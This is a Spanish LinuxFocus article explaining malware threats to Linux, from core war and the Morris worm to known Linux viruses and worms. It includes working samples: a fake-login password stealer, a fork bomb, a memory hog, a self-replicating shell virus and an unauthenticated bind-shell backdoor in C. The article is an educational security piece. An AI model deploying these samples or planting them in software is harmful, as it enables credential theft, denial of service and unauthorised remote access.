[LinuxFocus-icon]
Hogar  |  Mapa  |  Indice  |  Busqueda

Noticias | Arca | Enlaces | Sobre LF
Este documento está disponible en los siguientes idiomas: English  Castellano  ChineseGB  Deutsch  Francais  Italiano  Nederlands  Russian  Turkce  

convert to palmConvert to GutenPalm
or to PalmDoc

Christophe Blaess
por Christophe Blaess (homepage)

Sobre el autor:

Christophe Blaess es un ingeniero aeronáutico independiente. Es un apasionado de Linux y realiza la mayoría de su trabajo en este sistema. Coordina la traducción de las páginas de manual publicadas por el Linux Documentation Project.



Taducido al español por:
Roberto Hernando (homepage)

Contenidos:

 

Virus: nos afecta a todos

virus

Resumen:

Este artículo se ha publicado en un número especial sobre la seguridad de Linux Magazine France. El editor, los autores y los traductores han aceptado amablemente que todos los artículos de ese número especial sean publicados en LinuxFocus. En consecuencia, LinuxFocus os "ofrecerá" esos artículos a medida que se vayan traduciendo al inglés. Este resumen se reproducirá en todos los artículos que tengan el mismo origen.



 

Preámbulo

Este artículo trata los problemas de seguridad interna que pueden aparecer en sistemas Linux por culpa de software maligno. Este tipo de software puede causar daño sin intervención humana: Virus, Gusanos, Troyanos, etc. Profundizaremos en las distintas vulnerabilidades, insistiendo en las ventajas y los inconvenientes del software libre en esta materia.

 

Introducción

Existen principalmente cuatro tipos distintos de amenaza, que pueden resultar confusos para el usuario, especialmente porque habitualmente un ataque suele utilizar varios mecanismos:

La clasificación no es siempre tan sencilla; por ejemplo, existen programas que unos consideran virus y otros gusanos, haciendo la decisión final muy complicada. Esto no es demasiado importante considerando el ámbito de este artículo, que es aclarar qué peligros pueden amenazar a un sistema Linux.

Contrariamente a lo que comúnmente se cree, estas cuatro plagas también existen en Linux. Por supuesto, los virus encuentran aquí un terreno menos propicio para diseminarse que en DOS, por ejemplo, pero no se debe descuidar el peligro presente. Por tanto, vamos a analizar qué riesgos existen.

Amenazas potenciales  

Virus

Un virus es un trozo de código instalado en el seno de un programa ejecutable llamado host, capaz de duplicarse a sí mismo infectando un nuevo fichero ejecutable. Los virus aparecieron en los setenta, cuando los programadores de entonces jugaban a un juego llamado la "core war". Este juego llegaba desde los laboratorios Bell AT&T [MARSDEN 00]. El objetivo del juego era ejecutar en paralelo, en un área de memoria restringida, pequeños programas capaces de destruirse mutuamente. El sistema operativo no proveía protección entre las áreas de memoria de los programas, lo que permitía la agresión mútua con la meta de matar a los adversarios. Para hacerle algunos "bombardeaban" con '0' el mayor área de memoria posible, mientras otros se movían permanentemente en el espacio de direcciones, esperando sobreescribir el código del adversario, y a veces, algunos de ellos cooperaban para eliminar un "enemigo" difícil.

Los algoritmos implementados para el juego se tradujeron a un lenguaje ensamblador creado especialmente para la ocasión, el "red code", que se ejecutaba mediante un emulador disponible en la mayoría de las máquinas existentes. El interés en el juego era fruto de una simple curiosidad científica, como el entusiasmo hacia el Juego de la Vida de Conway, los fractales, los algoritmos genéticos, etc.

Sin embargo, tras la sucesión de artículos sobre la core war, publicados en Scientific American [DEWDNEY 84], ocurrió lo inevitable y algunos empezaron a escribir trozos de código auto-replicante especialmente dedicado al sector de arranque de los disquetes o a ficheros ejecutables, primero en ordenadores Apple, y después en MacIntosh y PCs.

El sistema operativo MS DOS fue el entorno elegido para la proliferación de los virus: ficheros ejecutables estáticos con un formato conocido, sin protección de memoria, ausencia de seguridad mediante permisos de acceso a los ficheros, amplio uso de programas residentes TSR apilados en memoria, etc. Tenemos que añadir a todo esto el carácter de los usuarios, intercambiándose a todas horas programas ejecutables en disquetes sin ningún cuidado en el origen de los ficheros.

En su forma más simple, un virus es un pequeño trozo de código que se ejecutará adicionalmente cuando se lance una aplicación. Aprovechará ese momento para buscar otros ficheros ejecutables que no estén todavía infectados, se incrustará en ellos (preferiblemente dejando el programa original intacto para mayor discreción) y terminará. Cuando lanzemos el nuevo fichero ejecutable, todo el proceso comenzará de nuevo.

Los virus pueden beneficiarse de un gran arsenal de "armas" para auto-replicarse. En [LUDWIG 91] y [LUDWIG 93] hay una detallada descripción de los virus para DOS, usando sofisticadas formas de esconderse de los programas antivirus: encriptación aleatoria, cambios permanentes en el código, etc. Incluso es posible encontrar virus que usan algoritmos genéticos para optimizar su capacidad de supervivencia y reproducción. Se puede encontrar información de este tipo en un famosísimo artículo: [SPAFFORD 94].

Pero tenemos que tener presente que más allá de un tipo de experimentos sobre vida artificial, los virus informáticos pueden causar importantes daños. El principio de la replicación múltiple de un trozo de código sólo es un desperdicio de espacio (de disco y de memoria), pero los virus se usan como un soporte - agente de transporte - para otras entidades mucho más desagradables: las bombas lógicas, que encontraremos también en los troyanos.

 

Troyanos y bombas lógicas

Timeo Danaos et dona ferentes - Temo a los griegos incluso cuando hacen un regalo. (Virgilio, la Eneida, II, 49).

Los troyanos, sitiados, tuvieron la mala idea de entrar en su poblado una gran estatua de madera que representaba un caballo, abandonada por los atacantes griegos como una ofrenda religiosa. El caballo de Troya ocultaba en su interior una tropa cuyos miembros, una vez infiltrados, se aprovecharon de la noche para atacar el poblado desde su interior, esto permitió a los griegos ganar la Guerra de Troya.

El famoso término "caballo de Troya" (o simplemente troyano) se utiliza a menudo en el campo de la seguridad informática para designar una aplicación a priori inofensiva, que como los virus mencionados anteriormente, porta un código destructivo llamado bomba lógica.

Una bomba lógica es una parte intencionadamente dañina de un programa cuyos efectos pueden ser muy variados:

En algunos casos la bomba lógica puede estar escrita para un sistema objetivo específico en el que se intentará robar información confidencial, destruir ciertos ficheros o desacreditar a un usuario tomando su identidad. La misma bomba ejecutada en cualquier otro sistema será inofensiva.

La bomba lógica también puede intentar destruir físicamente el sistema en el que reside. Las posibilidades son muy pequeñas pero existen (borrado de memorias CMOS, cambio en la memoria flash de modems, movimientos destructivos de cabezales de impresoras, plotters, escáneres, movimiento acelerado de las cabezas lectoras de los discos duros ...)

Para seguir con la metáfora "explosiva", digamos que una bomba lógica requiere un detonador para ser activada. En efecto, la generación de acciones devastadoras de troyanos o virus en una primera ejecución es una mala táctica desde el punto de vista de la eficiencia. Tras instalar la bomba lógica, es mejor para ella esperar antes de explosionar. Esto incrementará las oportunidades de extenderse a otros sistemas en el caso de transmisión por virus; y en el caso de un troyano evitará que el usuario relacione fácilmente la instalación de la nueva aplicación con el comportamiento anormal de su máquina.

Como en cualquier acción maligna, el mecanismo de lanzamiento puede variar: diez días después de la instalación, borrado de una cuenta de usuario dada (licencia), teclado y ratón inactivos durante 30 minutos, gran actividad en la cola de impresión... ¡no faltan posibilidades! Los troyanos más famosos son los protectores de pantalla aunque hoy en día ya están muy trillados. Tras un aspecto atractivo, estos programas son capaces de hacer daño con toda tranquilidad, especialmente si la bomba lógica sólo se activa después de una hora, lo que casi asegura que el usuario no está frente a su ordenador.

Otro ejemplo famoso de troyano es el siguiente script, que muestra una pantalla que pide usuario/contraseña, enviando la información a la persona que lo lanza y saliendo. Si se ejecuta en un terminal, este script capturará la contraseña del siguiente usuario que intente conectarse.

#! /bin/sh

clear
cat /etc/issue
echo -n "login: "
read login
echo -n "Password: "
stty -echo
read passwd
stty sane
mail $USER <<- fin
    login: $login
    passwd: $passwd
fin
echo "Login incorrect"
sleep 1
logout

Para conseguir que se desconecte cuando termine, se debe lanzar con el comando exec. La víctima pensará que se ha equivocado tecleando cuando vea el mensaje "Login incorrect" y se conectará de nuevo de una forma normal. Versiones más avanzadas llegan a simular el diálogo de conexión X11. Para impedir este tipo de trampa, es una buena idea usar primero un falso usuario/contraseña cuando se accede a un terminal (éste es un reflejo que se puede adquirir muy rápido).

 

Gusanos

Y Paul se encontró con el gusano, exultante, como un Emperador dominando el universo. (F. Herbert "Dune")

Los "gusanos" siguen el mismo principio que los virus. Son programas que intentan replicarse a sí mismos para conseguir una propagación máxima. Aunque no es su principal característica, también pueden contener una bomba lógica con un detonador retardado. La diferencia entre los gusanos y los virus la da el hecho de que los gusanos no utilizan programas host como medio de transporte, sino que se benefician de las capacidades que proveen las redes, como el correo electrónico, para propagarse de máquina en máquina.

El nivel técnico de los gusanos es bastante alto; usan las vulnerabilidades de software que ofrecen los servicios de red para forzar su auto-duplicación en una máquina remota. El arquetipo es el "Internet Worm" de 1988.

El Internet Worm es un ejemplo de gusano puro, sin contener una bomba lógica, sin embargo su involuntario efecto devastador fue terrible. Se puede encontrar una pequeña pero precisa descripción en [KEHOE 92] o un análisis detallado en [SPAFFORD 88] o [EICHIN 89]. Hay también una explicación menos técnica pero más excitante en [STOLL 89] (de la saga El huevo del cuco), donde el delirio de los equipos luchando con este gusano trae después el pánico de los administradores cuyos sistemas eran afectados.

En resumen, este gusano era un programa escrito por Robert Morris Jr, estudiante de la Universidad de Cornell, ya conocido por un artículo sobre problemas de seguridad en los protocolos de red [MORRIS 85]. Era el hijo de uno de los encargados de la seguridad informática en la NSCS, sección de la NSA. El programa se lanzó al caer la tarde del 2 de noviembre de 1988 y paralizó la mayoría de los sistemas conectados a Internet. Trabajaba en varias etapas:

  1. Una vez que un ordenador era infiltrado, el gusano intentaba propagarse por la red. Para obtener direcciones iba leyendo los ficheros de sistema y llamaba a utilidades como netstat obteniendo información sobre las interfaces de red.
  2. Después, intentaba introducirse en las cuentas de usuario. Para hacerlo, comparaba el contenido de un diccionario con el fichero de contraseñas. Además, intentaba usar como contraseñas combinaciones del nombre de usuario (al revés, repeticiones, etc). Esta fase contaba con una primera vulnerabilidad: contraseñas encriptadas en un fichero con permisos de lectura (/etc/passwd), aprovechándose así de los usuarios que habían hecho una mala elección de la contraseña. Esta primera vulnerabilidad se puede solventar ahora usando las shadow passwords.
  3. Si conseguía introducirse en las cuentas de usuario, el gusano intentaba encontrar máquinas que proveyeran un acceso directo sin identificación, utilizando los ficheros ~/.rhost y /etc/hosts.equiv. En ese caso, utilizaba rsh para ejecutar instrucciones en la máquina remota. Así, era capaz de copiarse a sí mismo en el nuevo host y el ciclo comenzaba de nuevo.
  4. Otra forma de introducirse en otra máquina era aprovechar una segunda vulnerabilidad: explotar un desbordamiento de buffer de fingerd. (Véase nuestra serie sobre programación segura: Evitando agujeros de seguridad al desarrollar una aplicación - Parte 1, Evitando agujeros de seguridad al desarrollar una aplicación - Parte 2: memoria, pila y funciones, código shell, Evitando agujeros de seguridad al desarrollar una aplicación - Parte 3: desbordamientos de buffer.)
    Este error permitía la ejecución de código remotamente. Entonces el gusano era capaz de copiarse a sí mismo en el nuevo sistema y empezar de nuevo. De hecho, esto sólo funcionaba en cierto tipo de procesadores.
  5. Por último, se utilizaba una tercera vulnerabilidad: una opción de depuración, activa por defecto en el demonio sendmail, que permitía enviar correo desde la entrada estándar al programa indicado como destino. Está opción jamás debería estar activa en máquinas en producción, pero, desafortunadamente la mayoría de los administradores ignoraban su existencia.

Tengamos en cuenta que una vez que el gusano era capaz de ejecutar algunas instrucciones en la máquina remota, la forma de copiarse a sí mismo era algo compleja. Requería la transmisión de un pequeño programa C, recompilarlo en el sitio y entonces lanzarlo. Entonces, se establecía una conexión TCP/IP con el ordenador inicial y se obtenían todos los binarios del gusano de nuevo. Esto último, precompilado, existía para varias arquitecturas (Vax y Sun), y fue probado una detrás de otra. Además, el gusano era muy listo escondiéndose, sin dejar huella.

Desgraciadamente, el mecanismo que evitaba que un ordenador fuera infectado varias veces no funcionó como se esperaba y el aspecto nocivo del gusano Internet 88, sin contener una bomba lógica, fue la sobrecarga de los sistemas afectados (notablemente con un bloqueo en el correo electrónico, que causó un retraso en la difusión de soluciones).

El autor del gusano fue a prisión por algún tiempo.

Los gusanos son relativamos raros debido a su complejidad. No se deben mezclar con otro tipo de peligros, como los virus transmitidos como adjuntos a un correo electrónico como el famoso "ILoveYou". Los virus son mucho más simples ya que son macros escritas (en Basic) para aplicaciones de ofimática que se lanzan automáticamente cuando se lee el correo. Esto sólo funciona en algunos sistemas operativos, cuando el lector de correo está configurado de forma demasiado simple. Estos programas se parecen más a los troyanos que a los gusanos, ya que requieren una acción del usuario para ejecutarse.

 

Puertas traseras

Las puertas traseras (backdoors) se pueden comparar con los troyanos pero no son idénticas. Una puerta trasera permite a un usuario ("avanzado") actuar en una aplicación para cambiar su comportamiento. Se puede comparar con los cheat codes usados en los juegos para obtener más recursos, alcanzar un nivel superior, etc. Pero también afecta a aplicaciones críticas como autentificación de conexiones o correo electrónico, ya que pueden tener un acceso oculto con una contraseña conocida sólo por el creador del software.

Los programadores con la intención de facilitar la fase de depuración, a menudo dejan una pequeña puerta abierta para poder usar el software sin hacerlo a través del mecanismo de autentificación, incluso cuando la aplicación se ha instalado en el cliente. A veces hay mecanismos de acceso oficial que usan contraseñas defecto (system, admin, superuser, etc) pero no está muy claro qué lleva a los administradores dejarlas puestas.

Recuérdese los diferentes accesos ocultos que permitían dialogar con el núcleo del sistema en la película "Wargame", pero podemos encontrar artículos anteriores sobre tales prácticas. En un artículo increíble, [THOMPSON 84], Ken Thompson, uno de los padres de Unix, describe un acceso escondido que implementó en los sistemas Unix hace varios años:

¿Qué se puede hacer contra esto? Bien, ¡nada! La única forma sería recomenzar con un sistema completamente virgen. A menos que construyamos una máquina a partir de cero creando todo el microcódigo, el sistema operativo, los compiladores, las utilidades, no podemos estar seguros de que todas las aplicaciones estén limpias, incluso si está disponible el código fuente.

 

Y ¿qué pasa con Linux ?

Hemos presentado los principales peligros para cualquier sistema. Ahora echemos un vistazo a los riesgos que afectan al software libre y a Linux.

 

Bombas lógicas

Primero, veamos qué daños puede causar una bomba lógica cuando se ejecuta en un sistema Linux. Naturalmente, esto variará dependiendo del efecto buscado y de los privilegios del usuario bajo cuya identidad se lance.

En lo que concierne a la destrucción de ficheros del sistema o a la lectura de datos confidenciales, se tienen dos casos. Si la bomba se ejecuta bajo la identidad de root, tendrá todo el poder en la máquina, incluyendo el borrado de cualquier partición y las eventuales amenazas al hardware antes mencionadas. Si se ejecuta bajo cualquier otra identidad, no será más destructiva que lo que puede ser cualquier usuario sin privilegios por sí mismo. Sólo podrá destruir los datos pertenecientes a ese usuario. Es este caso, cualquiera debe hacerse cargo de sus propios ficheros. Un administrador de sistema concienzudo hará muy pocas tareas cuando acceda como root, lo que reduce la probabilidad de lanzar una bomba lógica bajo esta cuenta.

El sistema Linux es bastante bueno en la protección de accesos a los datos privados y al hardware, sin embargo es sensible a los ataques dirigidos a hacerlo inoperativo haciendo un consumo excesivo de los recursos. Por ejemplo, el siguiente programa C es difícil de parar, incluso cuando se ejecuta como un usuario normal, ya que, si el número de procesos por usuario no está limitado, se "comerá" todas las entradas disponibles de la tabla de procesos y evitará cualquier conexión que intente matarlo:

  #include <signal.h>
  #include <unistd.h>

  int
main (void)
{
  int i;
  for (i = 0; i < NSIG; i ++)
signal (i, SIG_IGN);
  while (1)
fork ();
}

Los límites que se pueden establecer para los usuarios (con la llamada de sistema setrlimit() y la función de shell ulimit) permiten acortar la vida de este tipo de programas, pero sólo actúan tras un tiempo en el que el sistema no está disponible.

En el mismo orden de ideas, un programa como el siguiente utiliza toda la memoria disponible y entra en un bucle "devorando" los ciclos de CPU, perturbando el funcionamiento de los otros procesos:

  #include <stdlib.h>

  #define LG      1024

  int
main (void) {
  char * buffer;
  while ((buffer = malloc (LG)) != NULL)
 memset (buffer, 0, LG);
  while (1)
;
}

Habitualmente este programa es aniquilado automáticamente por el mecanismo de gestión de memoria virtual en las últimas versiones del núcleo. Pero antes de esto, el núcleo puede matar otras tareas que requieran un montón de memoria y luego estén inactivas (como aplicaciones X11, por ejemplo). Además, los demás procesos que requieran memoria no la obtendrán, lo que a menudo les llevará a su terminación.

Poner fuera de servicio características de red es también bastante simple, sobrecargando el correspondiente puerto con continuas peticiones de conexión. Existen soluciones para impedirlo pero no siempre están implementadas por el administrador. Vemos que bajo Linux, incluso si una bomba lógica se lanza por un usuario normal, no puede destruir ficheros que no le pertenezcan, pero puede ser muy molesta. Es suficiente con combinar unos pocos fork(), malloc() y connect() para dejar malparado el sistema y los servicios de red.

 

Virus

Asunto: Virus Unix

HAS RECIBIDO UN VIRUS UNIX

Este virus funciona según un principio cooperativo:

Si usas Linux o Unix, por favor envía este correo a tus amigos
y destruye aleatoriamente algunos ficheros de tu sistema.

A pesar de la extendida idea, los virus pueden ser una amenaza en Linux. Existen varios. Lo que es cierto es que un virus en Linux no encontrará un lugar fructífero para propagarse. Primero, veamos la fase de infección de una máquina. El código del virus se debe ejecutar en ella. Lo que significa que se ha copiado un ejecutable corrupto desde otro sistema. En el mundo Linux, la práctica común es pasar una aplicación a alguien dándole la URL donde encontrar el software en lugar de enviarle ficheros ejecutables. Es decir, el virus vendrá de un sitio oficial, donde se puede detectar rápidamente. Una vez que una máquina se ha infectado, para conseguir extender el virus, debería usarse como una plataforma de distribución para aplicaciones precompiladas, lo que es muy infrecuente. El hecho es que un fichero ejecutable no es un buen medio de transporte para una bomba lógica en el mundo del software libre.

En lo que se refiere a la propagación dentro de una máquina, obviamente una aplicación corrupta sólo puede extenderse a los ficheros sobre los que el usuario que la ejecuta tenga permisos de escritura. El administrador prudente sólo trabajará como root para operaciones que realmente necesiten privilegios, no es deseable ejecutar un nuevo software cuando se está conectado como root. Aparte de la instalación de una aplicación con Set-UID root, el riesgo es bastante pequeño. Cuando un usuario normal ejecute un programa infectado, el virus sólo afectará a los ficheros que pertenezcan a este usuario, lo prevendrá la propagación a las utilidades del sistema.

Si los virus han representado una utopía en Unix por mucho tiempo, es también debido a la diversidad de procesadores (y por tanto de los lenguajes ensambladores) y de librerías (y por tanto de los objetos referenciados) lo que ha limitado el rango de código precompilado. Hoy esto no es así, y los virus que infectaran los ficheros ELF compilados para Linux en un procesador i386 con GlibC 2.1 encontrarían un montón de objetivos. Además un virus podría escribirse en un lenguaje que no dependiera del host en el que se ejecutara. Por ejemplo, aquí está un virus para scripts de shell. Intenta introducirse en todos los scripts de shell encontrados bajo el directorio en el que se ejecuta. Para no infectar el mismo script más de una vez, el virus ignora los ficheros que tienen en la segunda línea el comentario "infectado" o "vacunado".

#! /bin/sh
# infectado

( tmp_fic=/tmp/$$
candidatos=$(find . -type f -uid $UID -perm -0755)
for fic in $candidatos ; do
    exec < $fic
    # Intenta leer la primera línea,
    if  ! read line ; then
            continue
    fi
    # y verifica que sea un script.
    if [ "$line" != "#!/bin/sh" ] && [ "$line" != "#! /bin/sh" ] ;
then
            continue
    fi
    # Lee la segunda línea.
    if ! read line ; then
            continue
    fi
    # ¿Está ya el fichero infectado o vacunado?
    if [ "$line" == "# vacunado" ] || [ "$line" == "# infectado" ] ; then
            continue
    fi
    # Sino lo infectamos: copiamos el cuerpo del virus,
    head -33 $0 > $tmp_fic
    # y el fichero original.
    cat $fic >> $tmp_fic
    # Sobreescribimos el fichero original.
    cat $tmp_fic > $fic
done
 rm -f $tmp_fic
) 2>/dev/null &

El virus no se preocupa de esconderse o de esconder su acción, excepto que se ejecuta en segundo plano mientras permite al script original hacer su trabajo usual. Por supuesto, ¡no ejecute este script como root! Sobre todo si cambia find . por find /. A pesar de la simplicidad de este programa, es muy fácil perder su control, sobre todo si el sistema contiene muchos scripts personalizados.

La tabla 1 contiene información sobre los virus más conocidos en Linux. Todos ellos infectan ficheros ejecutables ELF insertando su código después de la cabecera del fichero y colocando detrás el resto del código original. A menos que se indique lo contrario, buscan objetivos potenciales en los directorios del sistema. En esta tabla, vemos que los virus en Linux no son puramente anecdóticos, aun cuando no sea demasiado alarmante, mayormente porque hasta ahora esos virus son inofensivos.

Tabla 1 - Virus en Linux
Nombre Bomba Lógica Notas
Bliss Aparentemente inactiva Desinfección automática del fichero ejecutable si se llama con la opción --bliss-disinfect-files-please
Diesel Ninguna  
Kagob Ninguna Usa un fichero temporal para ejecutar el programa original infectado
Satyr Ninguna  
Vit4096 Ninguna Sólo infecta los ficheros en el directorio actual.
Winter Ninguna El código del virus ocupa 341 bytes. Sólo infecta los ficheros del directorio actual.
Winux Ninguna Este virus alberga dos códigos diferentes, y puede infectar tanto ficheros Windows como ficheros Elf Linux. Sin embargo es incapaz de explorar otras particiones que en la que está alojado, lo que reduce su propagación.
ZipWorm Inserta un texto "troll" sobre Linux y Windows en los ficheros Zip que encuentra.  

Como vemos el virus "Winux" es capaz de propagarse tanto en Linux como en Windows. Es un virus inofensivo y es más una prueba de posibilidades que un peligro real. Pero este concepto produce escalofríos, al pensar que un intruso podría saltar de una partición a otra, invadir una red heterogénea usando servidores Samba, etc. La erradicación sería difícil ya que las herramientas requeridas deberían estar disponibles para ambos sistemas a la vez. Es importante tener en cuenta que el mecanismo de protección de Linux que impide a los virus que trabajan bajo la identidad de un usuario normal corromper los sistemas de ficheros, ya no está disponible si se accede a la partición desde un virus funcionando en Windows.

Insistamos de nuevo en este punto: toda precaución administrativa que tome en Linux se vuelve inefectiva si reinicia su máquina desde una partición Windows que "hospede" un eventual virus multiplataforma. Es un problema para cada máquina que use un arranque-dual con dos sistemas operativos; ¡la protección general de todo reside en el mecanismo de seguridad del sistema más débil! La única solución es evitar el acceso a particiones Linux desde una aplicación Windows usando un sistema de ficheros encriptados. Esto no está todavía muy extendido, y podemos apostar que los virus que ataquen particiones desmontadas pronto representarán un significativo peligro para máquinas Linux.

 

Caballos de Troya

Los troyanos son tan temibles como los virus y la gente empieza a ser más consciente de ello. Contrariamente a una bomba lógica transportada por un virus, lo que se encuentra en un troyano ha sido puesto intencionadamente por un humano. En el mundo del software libre, desde el autor de una pieza de código hasta el usuario final sólo hay uno o dos intermediarios (digamos alguien encargado del proyecto y alguien dedicado a la distribución). Si se descubre un troyano es fácil encontrar al "culpable".

El mundo del software libre está por tanto bastante bien protegido contra los troyanos. Pero estamos hablando del software libre como lo conocemos hoy en día, con proyectos claramente gestionados, programadores disponibles y sitios web de referencia. Esto está bastante lejos del shareware o el freeware, sólo disponibles precompilados, distribuidos de forma anárquica por cientos de sitios web (o entregados en CD junto a revistas), donde el autor sólo es conocido por una dirección de correo fácil de falsificar; eso hace un verdadero establo de caballos de Troya.

Tengamos en cuenta que el hecho de tener el código fuente de una aplicación y compilarla no es garantía de seguridad. Por ejemplo una bomba lógica dañina puede estar escondida en el script "configure" (el que se llama durante "./configure; make") que habitualmente ¡ocupa unas 2000 líneas! Por último, pero no menos importante, si el código fuente de una aplicación está limpiio y compila; esto no impide al Makefile esconder una bomba lógica, activándose durante el "make install" final, ¡que suele ejecutarse como root!

Por último, una importante parte de los virus y troyanos dañinos en Windows, son macros ejecutadas cuando se consulta un documento. Los paquetes ofimáticos en Linux no pueden interpretar esas macros, al menos por ahora, y el usuario rápidamente tiene un exagerado sentimiento de seguridad. Llegará el día en que esas herramientas sean capaces de ejecutar las macros Basic incluidas en el documento. El hecho de que los diseñadores tengan la mala idea de dejar a estas macros ejecutar comandos en el sistema ocurrirá antes o después. Seguramente, como para los virus, el efecto devastador estará limitado a los usuarios privilegiados, pero el hecho de no perder los ficheros del sistema (disponibles en el CD de instalación, de todas formas), es un pequeñísimo consuelo para el usuario doméstico que acaba de perder todos sus documentos, sus ficheros fuente, ..., mientras su última copia de seguridad es de hace un mes.

Para terminar esta sección sobre troyanos incluidos en los datos, veamos que existe siempre una forma de molestar al usuario, incluso sin ser dañino, con algunos ficheros que requieren una interpretación. En Usenet, puede ver, de vez en cuando, ficheros comprimidos multiplicándose a sí mismos en un puñado de ficheros hasta llegar a saturar el disco. Algunos ficheros Postscript también pueden bloquear el intérprete (ghostscript o gv) despilfarrando tiempo de CPU. No hay daños, sin embargo hacen al usuario perder tiempo y estar molesto.

 

Gusanos

Linux no existía en 1988 cuando se produjo la difusión del Ínternet Worm'; habría sido un objetivo a elegir para este tipo de ataque, la disponibilidad del código fuente del software libre hace la búsqueda de vulnerabilidades muy sencilla (desbordamiento de buffers, por ejemplo). La complejidad de escribir un gusano de "buena calidad" reduce el número de los realmente activos en Linux. La Tabla 2 presenta algunos, entre los que están los más extendidos

Los gusanos explotan vulnerabilidades de servidores de red. Para las estaciones de trabajo ocasionalmente conectadas a Internet el riesgo es teóricamente menor que para los servidores permanentemente conectados. Sin embargo, la evolución de las formas de conexión proporcionadas a los usuarios domésticos (cable, SDL, etc) y la actual facilidad de implementación de los servicios de red (servidores HTTP, FTP anónimo, etc) implica que rápidamente pueden llegar a afectarnos a todos.

Tabla 2 - Gusanos en Linux
Nombre Vulnerabilidades Notas
Lion (1i0n) bind Instala una puerta trasera (puerto TCP 10008) y un root-kit en la máquina invadida. Envía información del sistema a una dirección de correo en China.
Ramen lpr, nfs, wu-ftpd Cambia los ficheros index.html que encuentra
Adore (Red Worm) bind, lpr, rpc, wu-ftpd Instala una puerta trasera en el sistema y envía información a direcciones de correo en China y USA. Instala una versión modificada de ps para esconder sus procesos.
Cheese Como Lion Worm se introduce como algo bueno, chequeando y eliminando las puertas abiertas por Lion.

Sobre los gusanos, tengamos en cuenta que su crecimiento es por un tiempo limitado. Sólo "sobreviven" replicándose de un sistema a otro, y ya que cuentan con las últimas vulnerabilidades descubiertas, la rápida actualización de las aplicaciones objetivo paran su propagación. En un futuro cercano, posiblemente los sistemas domésticos tendrán que consultar automáticamente sitios web de referencia (a diario) -que tendrán que ser de confianza- para encontrar esos parches de seguridad para las aplicaciones del sistema. Podría volverse necesario para impedir al usuario que trabaje todo el tiempo como administrador del sistema mientras que le permite beneficiarse de aplicaciones desarrolladas en red.

 

Puertas traseras

Las puertas traseras son un problema importante, incluso para el software libre. Por supuesto, cuando está disponible el código fuente de un programa podemos comprobar, en teoría, qué es lo que hace. En realidad muy pocos leen el contenido del fichero que se han descargado de Internet. Por ejemplo, el siguiente programita suministra una completa puerta trasera, su pequeño tamaño hace posible esconderla dentro de una aplicación suficientemente grande. Este programa deriva de un ejemplo de mi libro [BLAESS 00] ilustrando el mecanismo de un pseudo-terminal. El programa no es de fácil lectura ya que no se han incluido comentarios, para hacerlo más pequeño. La mayoría de los errores detectados también se han eliminado por la misma razón. Cuando se ejecuta, abre un servicio TCP/IP en el puerto mencionado al principio del programa (por defecto 4767) en todos los interfaces de red de la máquina. ¡Cada petición de conexión a ese puerto accederá directamente a un shell sin ninguna autentificación!

#define _GNU_SOURCE 500
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <termios.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define ADRESSE_BACKDOOR  INADDR_ANY
#define PORT_BACKDOOR     4767

int
main (void)
{
int                sock;
int                sockopt;
struct sockaddr_in adresse; /* dirección */
socklen_t          longueur; /* longitud */
int                sock2;
int        pty_maitre; /* pty_maestro */
int        pty_esclave; /* pty_esclavo */
char *         nom_pty; /* nombre_pty */
struct termios     termios;
char * args [2] = { "/bin/sh", NULL };
fd_set         set;
char           buffer [4096];
int            n;

sock = socket (AF_INET, SOCK_STREAM, 0);
sockopt = 1;
setsockopt (sock, SOL_SOCKET, SO_REUSEADDR, & sockopt,
sizeof(sockopt));
memset (& adresse, 0, sizeof (struct sockaddr));
adresse . sin_family = AF_INET;
adresse . sin_addr . s_addr = htonl (ADRESSE_BACKDOOR);
adresse . sin_port = htons (PORT_BACKDOOR);
if (bind (sock, (struct sockaddr *) & adresse, sizeof (adresse)))
    exit (1);
listen (sock, 5);
while (1) {
    longueur = sizeof (struct sockaddr_in);
    if ((sock2 = accept (sock, & adresse, & longueur)) < 0)
        continue;
    if (fork () == 0) break;
    close (sock2);
}
close (sock);
if ((pty_maitre = getpt()) < 0) exit (1);
grantpt  (pty_maitre);
unlockpt (pty_maitre);
nom_pty = ptsname (pty_maitre);
tcgetattr (STDIN_FILENO, & termios);
if (fork () == 0) {
    /* Hijo: ejecución de shell en el
        pseudo-TTY esclavo */
    close (pty_maitre);
    setsid();
    pty_esclave = open (nom_pty, O_RDWR);
    tcsetattr (pty_esclave, TCSANOW, & termios);
    dup2 (pty_esclave, STDIN_FILENO);
    dup2 (pty_esclave, STDOUT_FILENO);
    dup2 (pty_esclave, STDERR_FILENO);
    execv (args [0], args);
    exit (1);
}
/* Padre: copia del socket al pseudo-TTY maestro
    y viceversa */
    tcgetattr (pty_maitre, & termios);
cfmakeraw (& termios);
tcsetattr (pty_maitre, TCSANOW, & termios);
while (1) {
    FD_ZERO (& set);
    FD_SET (sock2, & set);
    FD_SET (pty_maitre, & set);
    if (select (pty_maitre < sock2 ? sock2+1: pty_maitre+1,
         & set, NULL, NULL, NULL) < 0)
        break;
    if (FD_ISSET (sock2, &set)) {
        if ((n = read (sock2, buffer, 4096)) < 0)
            break;
        write (pty_maitre, buffer, n);
    }
    if (FD_ISSET (pty_maitre, &set)) {
        if ((n = read (pty_maitre, buffer, 4096)) < 0)
            break;
        write (sock2, buffer, n);
    }
}
return (0);
}

Incluyendo dicho código en una aplicación grande (por ejemplo sendmail) permanecerá escondido el tiempo suficiente para permitir infiltraciones piratas. Además, algunos son verdaderos maestros en el arte de esconder el funcionamiento de trozos de código, como los programas enviados todos los años al concurso del IOCC (International Obsfucated C Code Contest) por ejemplo.

Las puertas traseras no deben ser consideradas sólo como posibilidades teóricas. Tales problemas se han encontrado realmente, por ejemplo en el paquete Piranha de la distribución Red-Hat 6.2, que aceptaba una contraseña por defecto. El juego Quake 2 también fue sospechoso de esconder una puerta trasera que permitía la ejecución remota de comandos.

Los mecanismos de puerta trasera pueden esconderse de formas tan complejas que se vuelven indetectables para la mayoría. Un caso típico es el de los sistemas de encriptación. Por ejemplo, el sistema SE-Linux, en funcionamiento, es una versión Linux donde la seguridad ha sido reforzada con parches suministrados por la NSA. Los desarrolladores de Linux que habían comprobado los parches suministrados dijeron que nada parecía sospechoso, pero nadie puede estar seguro y muy pocos tienen los conocimientos matemáticos suficientes para descubrir tales vulnerabilidades.

 

Conclusión

